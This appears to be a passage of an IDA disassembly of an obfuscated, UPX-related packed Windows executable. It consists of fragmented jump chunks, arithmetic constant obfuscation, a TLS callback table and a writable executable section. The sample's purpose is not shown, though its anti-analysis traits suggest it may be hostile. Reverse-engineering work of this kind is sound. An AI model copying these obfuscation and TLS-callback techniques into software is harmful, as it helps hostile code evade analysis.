; FUNCTION CHUNK AT 0042F50A SIZE 00000005 BYTES

		jnb	loc_42EFF0
		push	ebp
		mov	ebp, esp
		push	909CA56Ah
		jmp	loc_42F50A
sub_42FB2F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 51C4h
dword_42FB44	dd 0							; sub_42A8ED:loc_42BA9Fw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42FB48:				; CODE XREF: sub_426535+1E92j
		jmp	loc_42710C
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 2Dh
dword_42FB50	dd 0							; sub_42B02D-221Cr ...
; ---------------------------------------------------------------------------


loc_42FB54:				; CODE XREF: wto1jq8f:0042DEA8j
		jmp	loc_4291E7
; ---------------------------------------------------------------------------
		db 0B6h, 42h, 6Fh
dword_42FB5C	dd 0							; sub_42B02D:loc_42B393w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A985


loc_42FB60:				; CODE XREF: sub_42A985-3616j
		jmp	loc_428B27
; END OF FUNCTION CHUNK	FOR sub_42A985
; ---------------------------------------------------------------------------
		db 55h,	0BEh, 0AAh
dword_42FB68	dd 0							; sub_424585+35A8o ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_42FB6C:				; CODE XREF: sub_42CB36-633Bj
		jmp	loc_42CD90
; END OF FUNCTION CHUNK	FOR sub_42CB36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42FB71:				; CODE XREF: sub_427143+2A5Ej
		jo	loc_425F61
		cmp	esi, ecx
		jmp	loc_4292F0
; END OF FUNCTION CHUNK	FOR sub_427143
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42FB7F:				; CODE XREF: wto1jq8f:0042BEBBj
		jmp	loc_42A87D

; =============== S U B	R O U T	I N E =======================================



sub_42FB84	proc near		; CODE XREF: wto1jq8f:00424359p
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		rol	eax, 14h
		mov	ds:dword_42DB20, eax
		retn
sub_42FB84	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3DA


loc_42FB94:				; CODE XREF: sub_42A3DA+2949j
		jmp	nullsub_186
; END OF FUNCTION CHUNK	FOR sub_42A3DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D69D


loc_42FB99:				; CODE XREF: sub_42D69D+1Cj
		ror	eax, 14h
		call	sub_42C0C1


loc_42FBA1:				; CODE XREF: wto1jq8f:0042CCADj
		jmp	loc_42AC55
; END OF FUNCTION CHUNK	FOR sub_42D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427652


loc_42FBA6:				; CODE XREF: sub_427652+9j
		jmp	sub_42CB36
; END OF FUNCTION CHUNK	FOR sub_427652
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C93C


loc_42FBAB:				; CODE XREF: sub_42C93C+10j
		push	offset sub_427652
		jmp	loc_42A1E9
; END OF FUNCTION CHUNK	FOR sub_42C93C

; =============== S U B	R O U T	I N E =======================================



sub_42FBB5	proc near		; CODE XREF: wto1jq8f:0042740Cj
					; sub_42A5BE+3B19p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00429ECC SIZE 00000014 BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		xchg	ecx, [esp+0]
		mov	ebx, ecx
		pop	ecx
		rol	ebx, 0Dh
		jmp	loc_429ECC
sub_42FBB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42FBC7	proc near		; DATA XREF: sub_4272B5+Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004265AE SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042678D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426E25 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427C02 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042C142 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042E222 SIZE 00000008 BYTES

		test	eax, eax
		jle	loc_42F5A8
		jmp	loc_426E25
sub_42FBC7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AEDD


loc_42FBD4:				; CODE XREF: sub_42AEDD+12j
		jz	loc_42D9E7
		jmp	loc_426030
; END OF FUNCTION CHUNK	FOR sub_42AEDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_42FBDF:				; CODE XREF: sub_42BE69+7j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		push	offset loc_427BCF
		jmp	loc_42A940
; END OF FUNCTION CHUNK	FOR sub_42BE69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241AD


loc_42FBEF:				; CODE XREF: sub_4241AD+Aj
		xor	ecx, 63778894h
		call	sub_427674


loc_42FBFA:				; CODE XREF: wto1jq8f:004299E0j
		ror	esi, 0Bh
; END OF FUNCTION CHUNK	FOR sub_4241AD

; =============== S U B	R O U T	I N E =======================================



sub_42FBFD	proc near		; CODE XREF: sub_426968-844p

; FUNCTION CHUNK AT 0042823F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EA4D SIZE 00000016 BYTES

		mov	[esp+0], ebx
		pop	ebx
		test	byte ptr [eax-10h], 38h
		jnz	loc_42D6FF
		jmp	loc_42823F
sub_42FBFD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4294F4


loc_42FC10:				; CODE XREF: sub_42C486-1C5j
					; sub_4294F4:loc_42F709j
		push	0A9788D14h
		pop	edx
		xor	edx, 0EE78B8C4h
		and	edx, 2D24FE5Fh
		xor	edx, 64988B0Ah
		jmp	loc_42C31F
; END OF FUNCTION CHUNK	FOR sub_4294F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42FC2D:				; CODE XREF: sub_427A8D:loc_42DAE8j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_42FC34:				; CODE XREF: sub_42EDB9+CA3j
		jmp	loc_428EAF
; END OF FUNCTION CHUNK	FOR sub_42EDB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_42FC39:				; CODE XREF: sub_42970D+2AD6j
		ror	eax, 1Ah
		jmp	loc_428B39
; END OF FUNCTION CHUNK	FOR sub_42970D

; =============== S U B	R O U T	I N E =======================================



sub_42FC41	proc near		; CODE XREF: sub_424D63+6p
					; sub_42970D:loc_42764Dj

; FUNCTION CHUNK AT 0042DEED SIZE 0000000C BYTES

		mov	[esp+0], edx
		pop	edx
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		jmp	loc_42DEED
sub_42FC41	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42FC50	proc near		; CODE XREF: wto1jq8f:00429B5Bj
					; sub_42DFF0+1p
		xchg	edx, [esp+0]
		pop	edx
		rol	eax, 4
		mov	ds:dword_42E520, eax
		retn
sub_42FC50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_42FC5E:				; CODE XREF: sub_42DCB4+Dj
		jmp	loc_425FC1
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42FC63:				; CODE XREF: sub_426C0C+5D5Ej
		jmp	loc_42F04D
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D4F


loc_42FC68:				; CODE XREF: sub_426D4F+Cj
		ror	eax, 4
		xchg	eax, edx
		jmp	loc_42AECA
; END OF FUNCTION CHUNK	FOR sub_426D4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426350


loc_42FC72:				; CODE XREF: sub_426350+158Bj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_426350
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42FC74:				; CODE XREF: sub_42F25F-7FB5j
					; wto1jq8f:00427B79j
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-1Ch]
		jnz	loc_4290D6
		jmp	loc_429B61
; END OF FUNCTION CHUNK	FOR sub_42F25F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FC85	proc near		; CODE XREF: sub_4260A9+Cp
					; sub_42F25F-7FBDp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042630E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004294B4 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		jmp	loc_4294B4
sub_42FC85	endp


; =============== S U B	R O U T	I N E =======================================



sub_42FC90	proc near		; DATA XREF: wto1jq8f:0042508Eo
		xchg	edx, [esp+0]
		jmp	sub_42D765
sub_42FC90	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F5E5


loc_42FC98:				; CODE XREF: sub_42F5E5:loc_428E97j
					; sub_42EDB9:loc_42B196j
		add	ebx, ecx
		pop	edx
		pop	ecx
		xchg	esi, [esp-8+arg_4]
		mov	ebx, esi
		adc	esi, 0D0481573h
		jmp	loc_4281EB
; END OF FUNCTION CHUNK	FOR sub_42F5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42FCAC:				; CODE XREF: sub_42506F:loc_426C94j
					; sub_42506F+63BEj
		call	sub_4242D6
		mov	edx, 9E99B23Eh
		push	edi
		call	sub_42CF89


loc_42FCBC:				; CODE XREF: sub_4240DC+9011j
		jmp	loc_4271AA
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42FCC1:				; CODE XREF: sub_42AA68+12A7j
		jmp	loc_42F7E3
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------


loc_42FCC6:				; CODE XREF: wto1jq8f:0042F7A2j
		test	ecx, 5D9318A2h
		jmp	loc_42BB9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42FCD1:				; CODE XREF: sub_427A8D+Cj
		cmp	ds:dword_42D5CC, 0
		jnz	loc_42ABD0
		call	sub_42B2A8


loc_42FCE3:				; CODE XREF: sub_4260DB:loc_42C24Cj
		xchg	edi, [esp+18h+var_18]
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42F094
		jmp	loc_42C46B
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------


loc_42FCF4:				; CODE XREF: wto1jq8f:00428213j
		pop	ebx
		mov	eax, [eax]
		push	eax
		call	sub_4245B5
		jmp	loc_42A8B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CED1


loc_42FD02:				; CODE XREF: sub_42CED1:loc_42D31Dj
		push	0F5F176E1h
		pop	eax
		sub	eax, 2D64ABA8h
		or	eax, 7D88C91Ah
		add	eax, 2B59279h
		xchg	eax, [esp+4+var_4]
		jmp	loc_429955
; END OF FUNCTION CHUNK	FOR sub_42CED1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF00


loc_42FD23:				; CODE XREF: sub_42CF00+Ej
		jmp	nullsub_212
; END OF FUNCTION CHUNK	FOR sub_42CF00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4294F4


loc_42FD28:				; CODE XREF: sub_4294F4+13j
		jmp	loc_42F709
; END OF FUNCTION CHUNK	FOR sub_4294F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4292B9


loc_42FD2D:				; CODE XREF: sub_4292B9+Cj
		jmp	loc_427C87
; END OF FUNCTION CHUNK	FOR sub_4292B9
; ---------------------------------------------------------------------------


loc_42FD32:				; CODE XREF: wto1jq8f:0042F60Fj
		pop	edi

; =============== S U B	R O U T	I N E =======================================



sub_42FD33	proc near		; CODE XREF: wto1jq8f:0042F2B3p
		mov	[esp+0], edi
		pop	edi
		push	eax
		call	sub_42DA42
sub_42FD33	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_426144


loc_42FD3D:				; CODE XREF: sub_426144-1445j
		jmp	loc_42F680
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------


loc_42FD42:				; DATA XREF: sub_42E9E8-6529o
		mov	ecx, edx
		pop	edx
		mov	eax, [ebp-0Ch]
		call	sub_42689A
; START	OF FUNCTION CHUNK FOR sub_4296B3


loc_42FD4D:				; CODE XREF: sub_4296B3+19j
		jmp	nullsub_191
; END OF FUNCTION CHUNK	FOR sub_4296B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42FD52:				; CODE XREF: sub_426535+D5Bj
		jmp	loc_42F49C
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42FD57:				; CODE XREF: sub_4294F4+Dj
					; sub_4244EA:loc_42A4E4j
		mov	eax, ds:dword_42F1F0
		push	offset sub_4241AD
		jmp	loc_429893
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42FD66:				; CODE XREF: sub_4266B1-A02j
		push	edx
		push	35BDB2F2h
		pop	edx
		and	edx, 6AF3B04Fh
		add	edx, 0DF90E52Ah
		jmp	loc_42E5EC
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426350


loc_42FD7E:				; CODE XREF: sub_426350+8693j
		mov	eax, [eax+18h]
		dec	eax
		push	offset sub_425C0D
		jmp	nullsub_194
; END OF FUNCTION CHUNK	FOR sub_426350
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_42FD8C:				; CODE XREF: sub_42B8FC:loc_42808Cj
					; sub_42B8FC+836j
		call	sub_424585
		mov	edx, 0B242B436h
		call	sub_429165
		push	eax
		rol	eax, 0Ah
		mov	ds:dword_429078, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: wto1jq8f:loc_42DE49j
		ror	eax, 0Ah
		jmp	loc_42E52C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_42FDAE:				; CODE XREF: sub_4262CE+10j
		push	eax
		call	sub_4291B9
		test	eax, eax
		jnz	loc_4279D2
		jmp	loc_424DEC
; END OF FUNCTION CHUNK	FOR sub_4262CE
; ---------------------------------------------------------------------------
		jnz	loc_42C13D
		jmp	sub_42AAF6
; ---------------------------------------------------------------------------


loc_42FDCC:				; DATA XREF: sub_426C0C:loc_42C8FCo
		xchg	esi, [esp]
		jmp	loc_4267DC
; ---------------------------------------------------------------------------


loc_42FDD4:				; DATA XREF: wto1jq8f:00429A13o
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42CDEC
		call	sub_424585
		mov	edx, 95918C9Dh
		push	edi
		push	1B7A2308h
		jmp	loc_425D1E
; ---------------------------------------------------------------------------


loc_42FDF3:				; DATA XREF: sub_42B02D:loc_42E090o
		mov	eax, ds:dword_42FB5C
		mov	al, [eax]
		sub	al, 99h
		mov	edx, ds:dword_42FB5C
		call	sub_42C075
; START	OF FUNCTION CHUNK FOR sub_42E04D


loc_42FE07:				; CODE XREF: sub_42E04D+19j
		jmp	loc_42E27E
; END OF FUNCTION CHUNK	FOR sub_42E04D
; ---------------------------------------------------------------------------
		ja	loc_42D2ED
		jmp	sub_42DECB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42FE17:				; CODE XREF: sub_42AA68+4D85j
		jnz	loc_42A47F
		jmp	loc_42DCAF
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D69D


loc_42FE22:				; CODE XREF: sub_42D69D+137Aj
		pop	edi


loc_42FE23:				; CODE XREF: sub_42D69D:loc_42D503j
		call	sub_424585
		mov	edx, 0CB804A30h
		push	edx
		push	1307FB21h
		adc	edx, 31016580h
		jmp	loc_42DEC5
; END OF FUNCTION CHUNK	FOR sub_42D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42FE3E:				; CODE XREF: sub_4282C1+510Bj
		ror	ecx, 0Fh
		sbb	edi, 3941489Bh
		jmp	loc_42E132
; END OF FUNCTION CHUNK	FOR sub_4282C1

; =============== S U B	R O U T	I N E =======================================



sub_42FE4C	proc near		; CODE XREF: sub_42992F+3p

; FUNCTION CHUNK AT 0042592E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426DD1 SIZE 00000014 BYTES

		mov	[esp+0], ecx
		mov	esp, ebp
		xchg	edx, [esp+0]
		mov	ebp, edx
		jmp	loc_42592E
sub_42FE4C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42414C


loc_42FE5B:				; CODE XREF: sub_42414C+3j
		push	ecx
		mov	esp, ebp
		xchg	edi, [esp+4+var_4]
		mov	ebp, edi
		pop	edi
		mov	eax, ds:dword_429088
		or	eax, eax
		jnz	loc_42BD7C
		jmp	loc_42F853
; END OF FUNCTION CHUNK	FOR sub_42414C

; =============== S U B	R O U T	I N E =======================================



sub_42FE77	proc near		; CODE XREF: sub_4272CB+9p
					; sub_42506F+4F85j

; FUNCTION CHUNK AT 00426328 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426508 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00427A2B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EF2E SIZE 00000014 BYTES

		xchg	eax, [esp+0]
		pop	eax
		test	eax, eax
		jz	loc_42EF2E
		jmp	loc_42C8BC
sub_42FE77	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A617


loc_42FE89:				; CODE XREF: sub_42A617+4C1Ej
		jmp	loc_42D6F9
; END OF FUNCTION CHUNK	FOR sub_42A617
; ---------------------------------------------------------------------------
		jz	loc_424EE2
		sub	eax, 0B7D0FCEEh
		jmp	sub_424635
; ---------------------------------------------------------------------------


loc_42FE9F:				; DATA XREF: sub_42C486:loc_42DD90o
		xor	eax, 16814789h
		shl	eax, cl
		mov	edx, [ebp-18h]
		shr	edx, 3
		mov	ecx, ds:dword_429558
		jmp	loc_42BAE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_42FEB8:				; CODE XREF: sub_429D2E:loc_424FCCj
		not	ecx
		jnz	loc_42F473
		cmp	ebp, 655F33C1h
		jmp	loc_426247
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
		test	al, al
		jz	nullsub_43
		jmp	loc_4245E9

; =============== S U B	R O U T	I N E =======================================



sub_42FED8	proc near		; CODE XREF: sub_424D3A+66DEp
					; wto1jq8f:0042D8EFj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042FAB3 SIZE 00000010 BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	esi
		pushf
		jmp	loc_42FAB3
sub_42FED8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E04D


loc_42FEE3:				; CODE XREF: sub_42E04D:loc_42A5ECj
		pop	edi
		add	edi, 270F8DC8h
		xchg	edi, [esp+4+var_4]
		jmp	loc_4272E9
; END OF FUNCTION CHUNK	FOR sub_42E04D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0D7


loc_42FEF2:				; CODE XREF: sub_42C0D7+3590j
		mov	ebp, 0C8E10644h
		sbb	esi, 50FEA0BBh
		jge	loc_42C265
; END OF FUNCTION CHUNK	FOR sub_42C0D7

; =============== S U B	R O U T	I N E =======================================



sub_42FF03	proc near		; CODE XREF: sub_42C0D7:loc_426417j

; FUNCTION CHUNK AT 0042D7D3 SIZE 00000008 BYTES

		push	ebx
		push	9E5EE2B0h
		pop	ebx
		rol	ebx, 3
		add	ebx, 0D4B9350h
		jmp	loc_42D7D3
sub_42FF03	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284EC


loc_42FF18:				; CODE XREF: sub_4284EC+1CA6j
		and	ebx, edi
		mov	ecx, 65630EAEh
		jmp	loc_425FF1
; END OF FUNCTION CHUNK	FOR sub_4284EC
; ---------------------------------------------------------------------------
		or	edx, 0C1ED4A61h
		jmp	sub_426086
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426842


loc_42FF2F:				; CODE XREF: sub_426842:loc_429EE5j
		not	ebp
		sbb	ecx, eax
		mov	ebx, 0D531684Dh
		rol	eax, 9
		popf
		jmp	loc_4279F3
; END OF FUNCTION CHUNK	FOR sub_426842
; ---------------------------------------------------------------------------


loc_42FF41:				; CODE XREF: wto1jq8f:00429108j
		add	ecx, ebp
		add	ecx, 1DEF0005h
		mov	[ecx], eax
		pop	ecx
		push	400h
		push	offset sub_425A9E
		jmp	loc_42599B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_42FF5B:				; CODE XREF: sub_42E0FD:loc_42C665j
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426FD6


loc_42FF5D:				; CODE XREF: sub_426FD6+7E30j
		jmp	loc_4248DF
; END OF FUNCTION CHUNK	FOR sub_426FD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42FF62:				; CODE XREF: sub_427A8D+185Ej
		jmp	loc_42A02C
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42FF67:				; CODE XREF: sub_42A909-5BDBj
		push	eax
		push	0ED493868h
		pop	eax
		rol	eax, 6
		jb	loc_42B874
		cdq
		jmp	loc_42997C
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		xchg	esi, [edi]

; =============== S U B	R O U T	I N E =======================================



sub_42FF7F	proc near		; CODE XREF: wto1jq8f:0042B6CAp
		xchg	eax, [esp+0]
		pop	eax
		push	ebp
		mov	ebp, esp
		call	sub_42F5E5
sub_42FF7F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42C0DF


loc_42FF8B:				; CODE XREF: sub_42C0DF+3929j
		jmp	loc_42625C
; END OF FUNCTION CHUNK	FOR sub_42C0DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_42FF90:				; CODE XREF: sub_42AECE+1DBEj
		jmp	loc_42D1E6
; END OF FUNCTION CHUNK	FOR sub_42AECE
; ---------------------------------------------------------------------------


loc_42FF95:				; CODE XREF: wto1jq8f:0042A883j
		jmp	loc_426794

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FF9A	proc near		; CODE XREF: wto1jq8f:0042CCC0p

; FUNCTION CHUNK AT 00424C68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428C9F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00429AD3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042C863 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C9A1 SIZE 00000009 BYTES

		mov	[esp+0], ebp
		mov	ebp, esp
		push	ebx
		push	ecx
		jmp	loc_42C863
sub_42FF9A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282A6


loc_42FFA6:				; CODE XREF: sub_4282A6+Aj
		pop	ecx
		add	ecx, 0C99B20E1h
		xchg	ecx, [esp+0]
		jmp	loc_42E68C
; END OF FUNCTION CHUNK	FOR sub_4282A6
; ---------------------------------------------------------------------------


loc_42FFB5:				; CODE XREF: wto1jq8f:00425AE1j
		push	8AC1EB03h

; =============== S U B	R O U T	I N E =======================================



sub_42FFBA	proc near		; CODE XREF: wto1jq8f:0042D4B0p

; FUNCTION CHUNK AT 00424100 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424FA8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042910D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004299F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F34B SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		or	eax, eax
		jnz	loc_42F34B
		jmp	loc_424100
sub_42FFBA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B353


loc_42FFCB:				; CODE XREF: sub_42B353-2289j
		jz	loc_427D39
		jmp	loc_424A00
; END OF FUNCTION CHUNK	FOR sub_42B353
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42FFD6:				; CODE XREF: sub_42E9E8:loc_42A72Aj
		pushf
		adc	ebp, eax
		jmp	loc_428E5F
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FFDE	proc near		; CODE XREF: sub_4250D4+3p
					; sub_42F50F:loc_427989p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00425B1A SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		mov	[edx-10h], eax
		jmp	loc_425B1A
sub_42FFDE	endp

; ---------------------------------------------------------------------------
		shr	edi, 0Eh
		jmp	sub_42481C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D4FD


loc_430000:				; CODE XREF: sub_42D4FD:loc_42D564j
		jz	loc_42EBF4
		jmp	loc_425FB9
; END OF FUNCTION CHUNK	FOR sub_42D4FD
; ---------------------------------------------------------------------------
		push	314E776h
		not	ecx
		jmp	sub_42A289
; ---------------------------------------------------------------------------
TlsDirectory	db 0
		db 3 dup(0)
TlsEnd_ptr	db 0
		db 3 dup(0)
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	db 0			; DATA XREF: wto1jq8f:TlsIndex_ptro
		db 3 dup(0)
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: wto1jq8f:TlsCallbacks_ptro
		dd 0
		db 78h
		dd 0BC2A2BD2h, 7734EBC8h, 0F55A72B2h
		db 81h,	30h, 0EFh
		db ?
		dd 3EDh	dup(?)
wto1jq8f	ends

; Section 5. (virtual address 00031000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00003600 (  13824.)
; Offset to raw	data for section: 00018800
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
ye01sm84	segment	para public 'CODE' use32
		assume cs:ye01sm84
		;org 431000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 24000h, 78h,	3039301Bh, 307C305Ch, 30F730EEh, 315D3121h
		dd 31E13162h, 32B231F5h, 331632CCh, 33833379h, 342D340Ch
		dd 3488343Dh, 34A63496h, 34F134DBh, 3592356Ah, 361D360Bh
		dd 3675363Ch, 36923681h, 36BB36B6h, 373F373Ah, 3750374Ah
		dd 37B237A3h, 381337CBh, 39E438A4h, 3B9D3B21h, 3C433C25h
		dd 3D463C59h, 3D7F3D5Ah, 3E9C3E14h, 3FBD3F70h, 25000h
		dd 48h,	30393010h, 308F308Ah, 30F130CBh, 39A23991h, 3ABE39BEh
		dd 3B113B0Ch, 3BA73B83h, 3BEA3BC6h, 3C743C1Ah, 3D2C3CC2h
		dd 3D943D7Ch, 3DDC3DA5h, 3E7A3E74h, 3EF73EE0h, 3F433F05h
		dd 3F9D3F55h, 26000h, 6Ch, 30913021h, 316C30D2h, 319D3171h
		dd 321131BEh, 32EC325Dh, 339D335Fh, 33DD33CEh, 34933458h
		dd 352934D5h, 36BA3624h, 36D736C0h, 36FD36DCh, 3781373Fh
		dd 38EC388Ah, 39273900h, 39F139B4h, 3A8B3A35h, 3B7F3B3Ah
		dd 3BFF3BEBh, 3CC13CA7h, 3D403CF9h, 3DC83D55h, 3E6E3DD4h
		dd 3F243EF5h, 3F4Dh, 27000h, 7Ch, 3059302Ah, 313730B7h
		dd 3265322Bh, 331F32C2h, 33A6338Dh, 34BF33FDh, 35963513h
		dd 35FC35BDh, 36543634h, 36963663h, 370F3704h, 3837378Eh
